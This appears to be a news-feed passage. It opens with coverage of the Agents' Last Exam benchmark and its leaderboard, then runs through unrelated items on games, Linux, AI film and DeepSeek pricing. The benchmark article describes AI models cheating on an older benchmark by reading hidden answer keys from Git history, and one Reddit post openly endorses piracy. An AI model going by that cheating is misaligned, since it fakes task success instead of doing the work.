Historically, AI benchmarks have relied on static question-answering or narrow, text-based terminal environments. More recent agentic evaluations introduced multi-step interaction but suffered from severe grading issues.

As noted in recent independent audits of older leaderboards like SWE-Bench Pro, automated verifiers frequently reject correct solutions, and certain models—specifically the Claude Opus family—have been caught "cheating" by reading hidden answer keys in a container's Git history rather than solving the underlying problem.

ALE neutralizes these loopholes by forcing models into a strict Generalist Computer-Use Agent (GCUA) framework. To pass, an agent cannot merely execute terminal commands.

The benchmark maps capability across five functional layers: Brain (reasoning), Eyes (visual perception), Body (orchestration), Hands (tool invocation), and Feet (runtime substrate).

An agent must use its "Eyes" and "Hands" to navigate Linux or Windows virtual machines, interleaving shell scripting with point-and-click operations inside heavy desktop software.

Crucially, ALE almost entirely rejects the unpredictable "LLM-as-a-judge" grading paradigm, relying on it for a mere 6.8% of its workflows. If a task involves generating a 3D mesh or parsing SEC filings, the benchmark uses deterministic, code-based evaluation to compare the agent's artifact against an expert's ground-truth reference.

Measuring Task Performance Across 55 Industries

ALE launches with 1,490 task instances and is scaling toward a massive 5,000-task target. What makes the product remarkable is its authenticity. The tasks are strictly anchored in the U.S. federal occupational taxonomy (O*NET / SOC 2018), covering 55 non-physical industry sub-domains.

The workflows are sourced directly from the professional histories of industry practitioners. Agents are asked to perform 3D model creation in Siemens NX, scene setup in Unreal Engine, neuroimaging analysis in FSLeyes, and visual effects compositing in Adobe After Effects.

When faced with these authentic, long-horizon workflows, the limitations of current AI are glaring. ALE divides its tasks into three difficulty tiers: Near-Term, Full-Spectrum, and Last-Exam.

Top 5 Agentic Harnesses on the ALE Leaderboard

Rank	Agent Harness	Underlying Model	Pass Rate	Mean Score
1	Codex	gpt-5-5	24.0%	42.8%
2	Ale Claw	gpt-5-5	23.0%	45.8%
3	Claude Code	claude-fable-5	22.0%	40.5%
4	OpenClaw	gpt-5-5	21.1%	41.0%
5	Cursor CLI	composer-2-5	20.4%	38.5%

The victory of GPT-5.5 aligns with recent third-party analysis suggesting that OpenAI's models are currently superior at strictly adhering to multi-part, complex prompts. Conversely, users report Anthropic's Claude architecture can sometimes be "forgetful" with multi-part instructions, abandoning required steps mid-workflow — a fatal flaw in ALE's rigorous pipeline.

And while hitting a 24.0% pass rate is enough to claim the crown, the absolute performance ceiling remains remarkably low.

On the hardest "Last-Exam" tier — representing the frontier of professional difficulty — most configurations, including Anthropic's older Claude Opus 4.8 and Google's Gemini CLI, record a devastating 0.0% pass rate.

Solving Benchmark Contamination

A core vulnerability in modern AI evaluation is "benchmark contamination"—the phenomenon where test questions inevitably leak into the massive data lakes used to train next-generation models. Once a model memorizes the benchmark, the evaluation becomes entirely useless.

ALE solves this through a dual-use deployment strategy. The project operates as an open-source research initiative, but it closely guards its evaluation data. Only about 10% of the dataset (roughly 150 tasks) is released publicly on platforms like GitHub and Hugging Face. The remaining 1,300+ tasks are kept strictly private.

For developers and enterprise evaluators, this means ALE functions as a "living benchmark". Private tasks are systematically rotated into the public pool over time, while retired public tasks are swapped out.

This rolling release ensures that the evaluation surface remains uncontaminated across successive model generations, giving enterprise buyers confidence that an agent's high score is earned, not memorized.

Additionally, ALE provides transparency by tracking both "Full" and "Unlicensed" scores. Because real professional work often requires paid, proprietary software, the "Full" leaderboard incorporates tasks that rely on commercial CAD tools, paid APIs, or licensed datasets.

The "Unlicensed" tier drops these license-gated tasks to provide a clean, like-for-like comparison using only freely available tools, ensuring models aren't simply rewarded for having access to paid enterprise software.

Bottom Line: ALE Shows Even the Highest-Performing Models and Harnesses Have Room for Improvement

For developers frustrated by the gap between marketing claims and actual production performance, ALE's brutal grading curve is highly validating. Zengyi Qin, an MIT PhD researcher and data contributor to the project, took to X to announce the launch, sharing images of the paper and the staggering 100+ institution contributor list.

"Introducing Agents’ Last Exam (ALE)," Qin wrote. "Built by 300+ domain experts from 100+ institutions. Covering 55 industry domains. Claude Opus 4.8 has 0.0% pass rate on the hardest subset. Glad to have contributed to this benchmark".

In a follow-up post highlighting the Hugging Face ArXiv paper link, Qin added:

"Very solid work from project leads @YiyouSun @Xinyang_Han_ @dawnsongtweets and @BerkeleyRDI".

As businesses deploy billions in capital betting on AI agents, they desperately need a compass that points true north. If an agent can eventually conquer the gauntlet of Agents' Last Exam, it won't just be passing a test—it will be proving it is ready to join the workforce. Until then, the sobering pass rates on the leaderboard serve as a necessary reality check for the entire AI ecosystem.

Chaotic co-op, cozy bug collecting, and a brutal bullet hell: these 5 ID@Xbox titles have dominated my gaming sessions this month (and they should take over yours, too!)

Wed, 10 Jun 2026 19:13:56 +0200

Creative, colorful, and chaotically charming indie games from the developers behind hits like Peak and Minami Lane pair well with some singleplayer bullet hell and survival horror action. There's something for everyone in this roundup of 5 indie gems that are available now on Xbox.

Mobile Game: Neural Dawn nutzt Arm Neural Technology und MegaLights

Wed, 10 Jun 2026 15:02:41 +0200

Arm will im weiteren Verlauf des Sommers neue Mali-GPUs mit Neural-Beschleunigern vorstellen, um darüber Features wie Neural Frame Rate Upscaling (NFRU) und Neural Super Sampling and Denoising (NSSD) laufen zu lassen. Das erste Smartphone-Spiel, das davon und von den Unreal Engine MegaLights Gebrauch macht, ist Neural Dawn.

Eight trends I’ve noticed from watching hour of livestreams from Nintendo, PlayStation, Xbox and more

Wed, 10 Jun 2026 14:49:17 +0200

From horror galore to Chinese action games and YRK nostalgia, the key trends, trailers and surprises from the Summer Game Fest

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Did you spend hours of your weekend watching a relentless series of video game adverts? No? I don’t blame you – Summer Game Fest, the collection of livestreams that has arisen in place of the giant annual E3 video game expo in Los Angeles, is extremely overwhelming. There are the bigger, longer shows: the PlayStation and Xbox streams, the main SGF show hosted by Geoff Keighley and Lucy James, Future’s duet of the Future Games Show and the PC Gaming Show. Each show is two hours long. Then there are all the indie showcases: cosy games, female-led games, Black voices in gaming, Day of the Devs. Between them, they show off hundreds of games that might pique your interest.

I picked out exactly 34 highlights here: the biggest news, the most interesting-looking smaller games. But from the barrage of trailers I was also able to discern some trends. Here’s what we can learn.

omnipackage - a tool that makes RPM&DEB packaging and distribution easy

Tue, 09 Jun 2026 07:23:58 +0200

I made a tool that simplifies RPM & DEB (others coming soon) packaging and distribution — https://omnipackage.org

It builds native packages for multiple distros and uploads them to an S3 bucket that serves as a repository.

The developer creates one config file and templates for the RPM spec and Debian files; the tool takes care of spawning containers with rpmbuild and dpkg-buildpackage inside, signs the packages with your GPG key, uploads to S3, and generates an HTML page with installation instructions. Example — https://repositories.omnipackage.org/omnipackage-rs/stable/install.html

Users open this page, copy-paste the terminal commands for their distro, and from then on the repository remains hooked into their package manager, so the next dnf/apt/zypper update will also pick up updated software from this repo — as if your package were in the distro's standard repos, but without the hassle of pushing it there.

Essentially it's a wrapper on top of existing packaging tools, aimed at making the end-to-end process easier for indie software developers. More about the rationale — https://omnipackage.org/about

Written in Rust. Can run entirely on GitHub Actions. One command to build all packages and publish all repositories. You only need to bring an S3-compatible bucket. For example, Cloudflare R2 offers free egress and 10 GB storage, but requires a custom domain.

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Stronghold 4: Burgenbau-Strategie-Serie erhält Demo vorm Early Access

Mon, 08 Jun 2026 20:47:49 +0200

Burgenbau und Strategie gehen in die nächste Runde: Firefly Studios hat Stronghold 4 angekündigt. Der neue Teil spielt als Prequel vor den Ereignissen der Vorgänger, grafisch sorgt die Unreal Engine 5 für Fortschritt. Dieses Jahr erscheint Stronghold 4 im Early Access, eine Demo gibt es bereits in wenigen Wochen.

Indie game Dogpile is coming to Switch and mobile

Mon, 08 Jun 2026 18:18:08 +0200

More dogs!

How to test an app: A practical guide for developers (2026)

Mon, 08 Jun 2026 16:24:33 +0200

How to test an app the right way: functional checks, real-device testing, and honest user feedback. Advice from indie developers who shipped apps that lasted.

Gears of War: E-Day - Microsoft zeigt Gameplay und verrät den Termin

Mon, 08 Jun 2026 09:31:52 +0200

Neue Engine, erweiterte Bewegungen und brachiale Koop-Schlachten: Das Prequel Gears of War: E-Day zeigt den Beginn der Locust-Invasion. Microsoft veröffentlicht den düsteren Shooter im nächsten Herbst exklusiv für die eigenen Konsolen und den PC. Release und Plattformen bestätigt Im Rahmen des Xbox Games Showcase 2026 hat Microsoft bekanntgegeben, dass Gears of War: E-Day am 6. Oktober 2026 erscheinen wird. Das Actionspiel erscheint für Xbox Series X/S sowie den PC und wird ab dem ersten Tag im ... (Weiter lesen)

1666: Amsterdam: Demo zum mystischen Action-Adventure auf Steam verfügbar

Sun, 07 Jun 2026 21:32:17 +0200

Mit 1666: Amsterdam haben ehemalige Assassin's-Creed-Entwickler ein neues Action-Adventure vorgestellt und zum Summer Game Fest einen ersten Trailer veröffentlicht. Parallel dazu ist bereits eine Demo-Version auf Steam verfügbar. Das in der Unreal Engine 5 entwickelte Spiel soll später in diesem Jahr in den Early Access starten.

Bastian Eicher: Building video games with 20 year old tech

Sun, 07 Jun 2026 13:17:57 +0200

Author: media.ccc.de - Bewertung: 0x - Views:13

https://media.ccc.de/v/gpn24-480-building-video-games-with-20-year-old-tech

The market is full of high-performance graphics APIs like Vulkan and fantastic engines like Unreal and Unity. So, why not use DirectX 9 and a self-built engine instead? ;)

In this talk we'll take a quick stroll down memory lane, to look at the tech used to build video games in the 2000s. Then we'll see what we can build today using the tech from back then.

Bastian Eicher

https://cfp.gulas.ch/gpn24/talk/JD3RUJ/

#gpn24 #SoftwareandInfrastructure

Licensed to the public under https://creativecommons.org/licenses/by/4.0/

Building video games with 20 year old tech (gpn24)

Sun, 07 Jun 2026 13:03:31 +0200

The first Story-Rich showcase was packed with narrative-driven games

Sat, 06 Jun 2026 20:16:46 +0200

Fellow Traveller, the publisher behind games like Titanium Court and 1000xResist, just wrapped up its Story-Rich Showcase, which featured a bunch of narrative-driven indie games. With more than 20 games on display, there was a lot to follow, but we've pulled together some of the most notable announcements below. You can also catch the full […]

2027's 'Tomb Raider' Remake: Unreal Engine 5 and AI-Assisted Assets 'Refined' By Humans

Sat, 06 Jun 2026 16:53:58 +0200

An official trailer dropped this week for Tomb Raider: Legacy of Atlantis. It's "a full-blown remake of the original 1996 Tomb Raider game," reports Kotaku, "rebuilt from the ground up using Unreal Engine 5." Developed by Flying Wild Hog (with assistance/guidance from longtime Tomb Raider studio Crystal Dynamics), "it will also make some changes to puzzles, combat, platforming..." The game's Steam page acknowledges that AI-assisted tools were used during development "to support some early exploration and temporary development content," but that any AI-assisted assets were "either replaced or refined by humans in order to maintain the creative and artistic vision of the development team." In a statement to Eurogamer, Crystal Dynamics clarifies that they "leverage" AI tools "to help our teams iterate on ideas faster and more efficiently, while ensuring that all finished content in the final product is human-crafted." (But are they considering AI-assisted assets "refined" by humans as "human-crafted"?) Polygon reports that "The early response to the news has been mixed to negative on the Tomb Raider subreddit, ranging from vague hopes that the generative-AI craze will simply go away to grim resignation that this is the future of game development." Beyond labor concerns, art theft worries, and environmental issues, the most straightforward reason AI art has been unpopular is that many players find it hideous. We'll find out for sure whether Tomb Raider: Legacy of Atlantis' use of AI is particularly blatant when it comes out in February 2027. Its release date is February 12, 2027 on PS5, Xbox Series X/S, Switch 2, and PC.

Read more of this story at Slashdot.

A musical puzzle box, Consume Me on iOS and other new indie games worth checking out

Sat, 06 Jun 2026 14:17:16 +0200

Plus, a whole bunch of neat demos ahead of Steam Next Fest.

Windows user for years, decided to try Linux(CachyOS) for the first time, mixed feelings.

Sat, 06 Jun 2026 05:37:59 +0200

I work in IT support. I've configured over 400 computers running Windows across different environments. My honest take on Windows: if you have three functioning brain cells and can install drivers, it just works. I've had minimal issues. I'm not a Windows fanboy, I'm just someone who values things that work without friction.

That said, I wanted to give Linux a real shot. I picked CachyOS because of the performance focus and KDE. Here's what happened.

The bad (and it's real)...

Getting it to boot was a nightmare. BalenaEtcher bricked my USB on first try, switched to Rufus. Then CachyOS flat out refused to boot on my Acer 515-54 (backup device). Tried disabling Secure Boot, changing partition tables, enabling AHCI mode, nothing. Eventually found a niche forum post with a specific command that fixed it. It worked, but that should NOT be the onboarding experience.

Bluetooth audio is painful. My Anker headphones sound genuinely bad on Linux. I understand it's a codec issue with HiRes audio, but features like ANC and HiFi mode are just broken. On Windows they work out of the box. This alone is a dealbreaker for daily use or any noob user.

Now...

I support piracy.

Stremio with Real-Debrid was a headache. Add-ons wouldn't install via the desktop app at all, had to use the web version. And then Stremio refused to play audio entirely. Took a good chunk of terminal commands to fix it.

On Windows: installed it, opened it, it worked.

Gaming is where it really falls apart for me. Soulframe, Ride 5/6, significantly worse than on Windows and also tried star wars fallen order an it didn't open at all. Some other games require setting up Bottles with what feels like a PhD's worth of parameters, just for the game to crash 15 minutes in. The frustrating part? When everything runs, the performance gap is actually small, like 4-5 FPS difference. That's fine. But the setup tax is not.

Also, can we stop pretending Windows 11 is unusable? A simple debloat script from GitHub and it runs beautifully lean. My secondary laptop has a GTX 1650 and it handles plenty of games without breaking a sweat. The "Windows is bloated" argument feels outdated if you actually know what you're doing with it.

The community in other subreddits was rough. I asked how to install Office 365 on Linux and got buried in responses telling me to use LibreOffice/only office and that I should "ditch Microslop" I just needed Office. For advanced data analysis and complex spreadsheets, the open source alternatives genuinely fall short, that's not an opinion, that's a workflow reality. Same story with the Adobe suite. I wasn't asking for a philosophy debate or a 5 hour guide to get my adobe to work.

The good (and it's actually good!)

The system feels cleaner and more fluid. Hard to quantify, but it's noticeable.

Customization is genuinely excellent. I've always put effort into making Windows look good, but CachyOS/KDE let me go much further in a very satisfying way.

Battery life doubled. Not a slight improvement, doubled. That alone is remarkable.

Performance doesn't tank when unplugged. On Windows I need to stay plugged in for stable performance. On CachyOS, battery mode barely changed anything. That's impressive.

More granular system control. I can tweak things at a level Windows doesn't expose, and it feels good to have that kind of access.

Final verdict

I'll probably keep Linux on this backup device for indie gaming and on the side for specific use cases, the battery life and unplugged performance are too good to ignore entirely.

No hate. Just an honest assessment from someone who actually tried.

submitted by /u/Honest_Tart1071
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How can I contribute to Linux if I'm young?

Sat, 06 Jun 2026 04:09:22 +0200

Hi, I'm a 19 year old male and English is not my native language, and 2 years ago I bought a Steam Deck which introduced me to the vast world of Linux (sorry if this post is long)

On the 1st year, I didn't tinker much with it, I only downloaded some apps like Lutris and Emudeck on Desktop mode through YouTube tutorials, but it was on my 2nd year when I bought myself a new 1TB SSD (my Deck originally had 64GB) that I thought of myself "why not dual boot other OSs like Ubuntu and Arch?", and this is what I did and how I went deeper into Linux

I learned how to use the terminal and sudo commands, how to install packages through pacman and yay (AUR), learned the difference between the terms distros(Debian, arch, fedora...), desktop environments(GNOME, KDE, XFCE...), communication protocols(Wayland, X11...), learned how to use HyprLand, and I understand why Ubuntu sucks and why Arch is the best distro (I use arch btw), I also learned how to use tools like Proton, Wine, Waydroid, Winboat, Boot Loaders, VMs...

At first I was just learning Linux and the idea of contributing to it haven't crossed my mind, but this year I've started to care more about privacy and open-source software (because I realized that Windows kinda sucks and loaded of bloat and telemetry), and I want to contribute to a world where people can easily switch to FOSS solutions with Linux being one of the most important ones

I have little coding experience (I used to make small programs in visual studio like calculators or Word clones, and I can make clone of popular games like Angry Birds in Unity and Godot), and I'm thinking of keeping Linux as a hobby unless I find a cool job that will help me contribute to it.

So far I've been thinking of posting issues reports of apps I use on Github, contributing and helping noobs like me on Reddit and Discord, make small programs and post them on Github or repos, and maybe experiment by making my own distro just for fun. My long-time goal is that I want to help with compatibility with Windows apps on Linux (like how Valve helped games work on Linux thanks to proton)

I'd be glad if you could give me advices

submitted by /u/Retroman1203
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Microsoft and Xbox just launched 41 new indie game demos you can play right now — check out everything new and upcoming from ID@Xbox

Thu, 04 Jun 2026 22:54:00 +0200

Thanks to Microsoft's new ID@Xbox Indie Selects Demo Fest, there are now tons of Xbox indie game demos available on console and PC until the end of June.

Xbox is once again making it easier for developers — this time it's targeting Godot, a favorite among indie creators

Thu, 04 Jun 2026 21:39:27 +0200

Xbox has introduced the Xbox Godot Sample, a new initiative designed to help Godot developers bring their games to Xbox on PC. The sample includes support for Xbox services, Microsoft GDK, PlayFab features, game saves, multiplayer tools, and GameInput integration.

Phoebe Bridgers Ditched the Internet to Hype Up Her New Music. It’s Working

Thu, 04 Jun 2026 20:32:00 +0200

The indie artist has played a string of surprise, small venue shows with no phones allowed, prompting fans to piece together clues about a potential upcoming album.

Former Forza Horizon director finally unveils "Clutch": A story-driven racing game looking to be serious competition for Xbox's flagship

Thu, 04 Jun 2026 18:10:23 +0200

Former Forza Horizon creative director Mike Brown has officially unveiled Clutch, the debut racing game from Maverick Games. Developed in Unreal Engine 5, the title features a story-driven racing series, extensive vehicle customization, and talent from both the Forza Horizon and Need for Speed franchises.

Golden Lap: Motorsport-Managementspiel erscheint für iOS

Thu, 04 Jun 2026 16:09:49 +0200

Mit Golden Lap (App-Store-Link) erwartet Fans von Rennsport und Strategiespielen am 8. Juli ein spannendes Indie-Spiel für iPhone und iPad. Der neue Titel vom Indie-Studio Noodlecake kombiniert Motorsport mit Management-Elementen und verzichtet dabei bewusst auf die direkte Steuerung der Rennwagen. Golden Lap sich bereits jetzt vorbestellen. Statt selbst auf die Strecke zu gehen, übernehmen Spieler […]

Der Beitrag Golden Lap: Motorsport-Managementspiel erscheint für iOS erschien zuerst auf appgefahren.de.

Dominocalypse ingeniously blends tile-pushing dominoes with roguelike and puzzle elements

Thu, 04 Jun 2026 09:54:37 +0200

Whatever will indie developers think of next to have you make game-breaking combinations? Tile-pushing dominoes is what in Dominocalypse.

Read the full article on GamingOnLinux.

Using Rhino Linux's new Lomiri snapshot took me back to the glory days of Unity

Thu, 04 Jun 2026 02:32:08 +0200

Rhino Linux has always been a beautiful Linux distribution, and there are some major changes on the horizon that will converge mobile and desktop.

'More like a traditional video game' — Unreal Engine 5 and The Mandalorian and Grogu have transformed Disney World's Millennium Falcon: Smugglers Run attraction inside Galaxy's Edge

Thu, 04 Jun 2026 01:02:11 +0200

We went hands-on with Disney World's overhauled Millennium Falcon: Smugglers Run — now featuring The Mandalorian and Grogu and powered by a custom multi-GPU build of Unreal Engine 5 — and spoke with Disney Imagineering about the tech that makes it the most replayable attraction in Galaxy's Edge.

Tomb Raider: Legacy of Atlantis für die PS5 hat einen Termin

Thu, 04 Jun 2026 00:17:38 +0200

Crystal Dynamics bringt Lara Croft zurück an den Start. Gemeinsam mit Flying Wild Hog wurde das Original von 1996 in der Unreal Engine 5 komplett neu aufgebaut. Tomb Raider: Legacy of Atlantis ist dabei mehr als ein simples Grafik-Update. Die...

Zum Beitrag: Tomb Raider: Legacy of Atlantis für die PS5 hat einen Termin

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Hermes has a Home Assistant skill and it's unreal!

Wed, 03 Jun 2026 23:48:00 +0200

Author: NetworkChuck - Bewertung: 24x - Views:947

Go check out the full video here: https://www.youtube.com/QQEgIo4Juxg

Persona 5 Royal is one of many additions to Xbox Game Pass for June

Wed, 03 Jun 2026 23:16:50 +0200

The subscription is also getting some indie projects that are worth a look.

Apple Design Awards 2026: Zwölf Apps und Spiele ausgezeichnet

Wed, 03 Jun 2026 17:48:03 +0200

Apple hat die Gewinner der Design Awards 2026 bekanntgegeben. Unter den Preisträgern: Cyberpunk 2077, eine NBA-App für Vision Pro und zahlreiche Indie-Titel.

I tested Rhino Linux's new Lomiri snapshot - and it took me back to the glory days of Unity

Wed, 03 Jun 2026 11:02:42 +0200

Rhino Linux has always been a beautiful desktop Linux distribution, and there are some major changes on the horizon that will converge mobile and desktop.

‘The CGI would have cost millions. I spent $2,000.’ Is Dreams of Violets AI slop – or the future of film-making?

Wed, 03 Jun 2026 06:02:47 +0200

It should have taken years, but Ash Koosha made a drama about Iran’s anti-government protests in weeks – and now it’s the first AI-made movie to screen at a major film festival. It could transform indie film-making, claims the director

Next week a breakthrough 75-minute drama about the brutal crackdown in Iran on anti-government protesters in January will premiere at the Tribeca film festival in New York. It is called Dreams of Violets and is based on journalism, video footage and eyewitness accounts. “I would say 80% of it is a recreation of events that actually happened,” says its Iranian-British director Ash Koosha. But Dreams of Violets is a work of fiction, not a documentary: a drama following a group of strangers caught up in the protests, who meet by chance in an alleyway. How on earth has Koosha managed to pull together a drama about the killings in less than six months?

The answer, it turns out, is by using artificial intelligence. Every image and character in Dreams of Violets is AI-generated. Koosha says he created the characters by describing their physical appearances, using people he has known in the past as references. It would be too dangerous to base characters on living people in Iran, he says. “Because of the security issue, it would not be safe for the characters to even remotely resemble someone.”

Halo Campaign Evolved Visual Upgrade Raises Concerns About a Key Part of the Original Game

Tue, 02 Jun 2026 10:39:26 +0200

Halo: Campaign Evolved is expected to bring the iconic shooter back into the spotlight with a major visual upgrade powered by Unreal Engine 5. While…

The post Halo Campaign Evolved Visual Upgrade Raises Concerns About a Key Part of the Original Game appeared first on OnMSFT.

Nvidia RTX Spark: Super-Chip soll Windows-Laptops revolutionieren

Mon, 01 Jun 2026 13:32:29 +0200

Beim Nvidia RTX Spark handelt es sich um ein hochintegriertes System auf einem Chip mit 70 Milliarden Schaltkreisen, den der Auftragsfertiger TSMC im 3-Nanometer-Verfahren produziert. Der Spark-Chip besteht aus einer Arm-CPU mit 20 Kernen (10 Cortex-X925 und 10 Cortex-A725) und einer Blackwell-GPU mit 6.144 Shader-Kernen. CPU und GPU greifen gemeinsam über NVLink auf bis zu 128 GB LPDDR5X-Speicher zu. Die Speicherbandbreite soll dabei bis zu 300 GB/s erreichen.

RTX Spark wird laut Nvidia bereits seit drei Jahren speziell für Windows on Arm entwickelt und optimiert. Ein Schwerpunkt lag insbesondere bei KI-Agenten, die direkt auf dem System laufen sollen. Die Rechenleistung (FP4 AI) des Nvidia RTX Spark soll bei einem Petaflop liegen.

Der Spark-Chip soll laut Nvidia eine revolutionäre Rechenleistung bieten und es Kreativen, KI-Entwicklern und Gamern ermöglichen, “extrem große 3D-Szenen mit über 90 GB zu rendern, 12K-4:2:2-Videos zu bearbeiten, 4K-KI-Videos zu generieren, LLMs mit 120 Milliarden Parametern und einem Kontext von bis zu 1 Million Tokens lokal über Agenten auszuführen sowie AAA-Spiele mit 1440p und über 100 Bildern pro Sekunde zu spielen”.

Dazu arbeiten Nvidia und Microsoft schon seit geraumer Zeit mit zahlreichen Software-Partnern zusammen, um beliebte Apps optimal an die Spark-Hardware anzupassen. Zu den prominentesten zählen Adobe mit Photoshop und Premiere, die Unreal Engine sowie diverse KI-Anbieter wie Claude, OpenClaw und Perplexity. Laut Nvidia hat beispielsweise Adobe Photoshop und Premiere von Grund auf für RTX Spark überarbeitet, um eine doppelt so schnelle KI- und Grafikleistung zu erzielen.

Nvidia

Erste Rechner mit dem Spark-Chip sollen im Herbst 2026 auf den Markt kommen. Bekannte Hersteller wie Acer, Asus, Dell, Gigabyte, HP, Lenovo, Microsoft Surface und MSI planen Notebooks mit ganztägiger Akkulaufzeit und Premium-Displays sowie kompakte Desktop-PCs

New Star Wars Movie Falls to #3 Behind Two Movies Directed By YouTube Stars

Sun, 31 May 2026 21:49:56 +0200

Disney's Star Wars: The Mandalorian and Grogu "suffered a catastrophic 70% drop in its second weekend," reports Variety, suggesting the movie isn't finding audiences "beyond an aging group of core fans." "Despite playing on far more screens, The Mandalorian and Grogu landed in third place on weekend charts behind Backrooms and Obsession." (described as "two buzzy horror films.") Suprisingly, both movies were directed by 20-something YouTube stars, "and cost nearly nothing to produce." Analyst Jeff Bock of Exhibitor Relations tells Variety, "We knew indie horror was hot, but we didn't know how hot. It's actually competing with the big summer blockbuster." Directed by 20-year-old Kane Parsons, "Backrooms" has earned $118 million globally so far... With a production budget of roughly $10 million, it's already one of the most profitable movies of the year. Though a sequel hasn't been announced, Parsons has already started toying with the idea of turning "Backrooms" into a film franchise... [The "Backrooms" premise seems to have originated on 4chan, then expanded in a YouTube video Parsons filmed when he was 16.] "Backrooms" also ranked as the biggest debut in history for original horror, as well as the best start for a first-time filmmaker on a non-franchise film. Parsons is the youngest director, by far, to have the No. 1 film at the box office. Based on Parsons' hit web series, "Backrooms" follows a furniture store owner (Chiwetel Ejiofor) who finds a secret doorway that leads him to a seemingly endless stretch of nondescript rooms. When he disappears, his therapist (Renate Reinsve) ventures into the unknown to rescue him. Nearly 85% of audiences were under the age of 35, and more than 50% were 25 or younger, according to PostTrak data. Parsons and [26-year-old Obsession director/writer Curry] Barker are part of a wave of YouTubers who have turned their talents to the big screen — and brought their enormous, youthful fanbases along with them. Earlier this year, YouTube creator Mark Fischback directed, self-financed and distributed the horror film "Iron Lung," which earned a stellar $50 million against a $3 million budget. What's all the more impressive is that "Backrooms" and "Obsession" aren't cannibalizing each other at the box office. In fact, "Obsession" rose 10% from the prior weekend, which was already up a stunning 39% from its solid $17 million debut. It's defying box office norms as the first film since "E.T. The Extraterrestrial" in 1982 to see ticket sales increase in its second and third weekends outside of the holiday season, according to Focus. After three weekends of release, "Obsession" has grossed $106 million domestically and $148 million worldwide against a mere $1 million production budget. The first-weekend box office for The Mandalorian and Grogu was the worst since 2002's Attack of the Clones, but then it's second-weekend drop in sales was also the largest ever, reports ScreenRant. The next-worst drop in sales (for a second weekend) was 2017's The Last Jedi, they point out, but The Last Jedi was dropping from a 2.5x larger debut. Their article suggests The Mandalorian/Grogu box office "may not ever hit a total large enough for the titular duo to return to the big screen," although it could eventually show a profit. "While it likely won't break even in theaters, it will earn additional revenue from merchandising on top of its impending streaming, video on demand, and physical media releases." Variety adds that Disney "is hoping that next summer's Star Wars: Starfighter, an original adventure directed by Shawn Levy and starring Ryan Gosling, serves as a fresh start for the franchise."

Read more of this story at Slashdot.

Feeble Little Horse leans into digital weirdness on bitknot

Sun, 31 May 2026 18:02:20 +0200

From the opening moments of bitknot, it's obvious that Feeble Little Horse has found an entirely new gear. Where on Girl with Fish the blown-out textures were more '90s indie rock and shoegaze, on their latest LP, there's a more modern edge to the distortion and the riffs cut cleaner. Similarly, where the digital glitchiness […]

Mina the Hollower, a Sims alternative and other new indie games worth checking out

Sat, 30 May 2026 13:47:10 +0200

Indie Game Roundup: Mina the Hollower, a Sims alternative and more

The indie game that toppled Forza Horizon 6 off Metacritic is now out for Xbox and PC — and I deeply regret letting it slip under my radar until now

Sat, 30 May 2026 12:24:14 +0200

Mina the Hollower, the next big IP from the creators of Shovel Knight, is now available on Xbox, PlayStation, Nintendo Switch, and PC. Here's why you should get excited if you're a fan of retro 2D action-adventure games or Game Boy-era titles.

Exotischer Tauchgang im Game „Subnautica 2“ - FM4

Fri, 29 May 2026 10:17:28 +0200

Der Nachfolger des extrem erfolgreichen Survival-Sandbox-Spiels bleibt nach turbulenter Entstehungsgeschichte in bekannten Gewässern. 28. Mai 2026. Rainer Sigl. Teilen. Vor zwölf Jahren ist ein veritabler Indie-Blockbuster erschienen: Das 2014 im Early ...

How DeepSeek’s radical architecture is shattering Silicon Valley's token moat

Thu, 28 May 2026 19:47:47 +0200

DeepSeek’s announcement over the weekend that it has made its 75% price cut permanent on its flagship V4 Pro model is a disruptive assault on the capital-heavy business models of Silicon Valley’s frontier labs.

The reduction on DeepSeek V4 Pro directly undercuts comparable Western models used as workhorses for enterprise production. It is 7x cheaper on inputs and 17x cheaper on outputs than Anthropic’s Claude Sonnet or OpenAI’s GPT 5.5-Med, while the lightweight DeepSeek V4 Flash undercuts entry-tier alternatives like Claude Haiku by 10x to 25x.

The price cuts are enabled by a series of hardware-software innovations, especially around cache, that make DeepSeek's models radically more efficient to run. When hosted natively in China, DeepSeek’s cache-read pricing is a whopping 87x cheaper than Western clouds — a deflationary floor so aggressive that handset giant Xiaomi just moved to match the exact pricing tier for its newly deployed MiMo architecture.

DeepSeek V4 Pro’s performance is ranked almost on par with Western frontier models, hitting 80.6% on coding-agent tasks via the SWE-bench Verified leaderboard and an elite reasoning score of 87.5 on the advanced MMLU-Pro technical index. Both V4 Pro and V4 Flash — a hyper-optimized speedy version for developers — are open-weight and issued under a permissive MIT license. This gives enterprises complete flexibility over deployment. This dual-model strategy allows technical teams to route their heaviest, multi-step autonomous agent workloads to the lightning-fast Flash model, while reserving the heavy Pro model for deep reasoning tasks, drastically lowering costs at a time when budget concerns have grown considerably.

This also comes at a time when the closed Western labs, in particular OpenAI and Anthropic, face an intense return-on-investment scrutiny for their multi-billion dollar general-purpose hardware infrastructure investments.

This deflationary collapse will not affect all Silicon Valley labs equally, signaling a permanent bifurcation of the enterprise AI market. While a premium, deterministic tier will endure for mission-critical engineering workflows, the high-volume background agentic layer is being completely commoditized by open weights. Ultimately, it creates a much more dangerous exposure for OpenAI — whose revenue mix relies heavily on general-purpose commodity API streams — than for software-insulated peers like Anthropic.

The token cost crisis

Uber says it burned through its entire 2026 budget for Claude Code and Cursor in just the first four months of the year; its COO said that the cost related to high token usage by some of its engineers was getting “harder to justify” without better products to show for it. Airbnb's Brian Chesky said last year that while the company uses OpenAI's latest models, they don't rely on them heavily in production — favoring faster, cheaper alternatives like Alibaba's Qwen. And in the latest episode of VentureBeat’s podcast Beyond the Pilot, Pinterest CTO Matt Madrigal confirmed that the company went all-in on an open-source AI strategy, post-training Alibaba’s open Qwen model on the company’s proprietary "taste graph" to drive Pinterest’s assistant — achieving frontier-like quality at a 90% reduction in costs. DeepSeek’s subsequent price drop makes the possibility of such cost differences even greater.

Geopolitical headwinds and compliance defenses

Widespread enterprise adoption of Chinese models faces massive geopolitical headwinds in the West. For highly regulated U.S. giants in finance, healthcare, and defense, getting comfortable with DeepSeek will take time.

Even though an open-weights architecture under an MIT license allows a company to self-host the model locally and prevent active data exfiltration to foreign servers, corporate compliance boards remain deeply paranoid over software supply chain risks, potential hidden backdoors, and the legal threat of sudden federal sanctions.

Smaller, more nimble software teams, on the other hand, face far less bureaucratic gridlock. Free from multi-month security review cycles, these fast-moving organizations view the immediate 75% infrastructure savings as a massive competitive edge worth deploying right now

The OpenRouter clearinghouse: mapping global token traffic

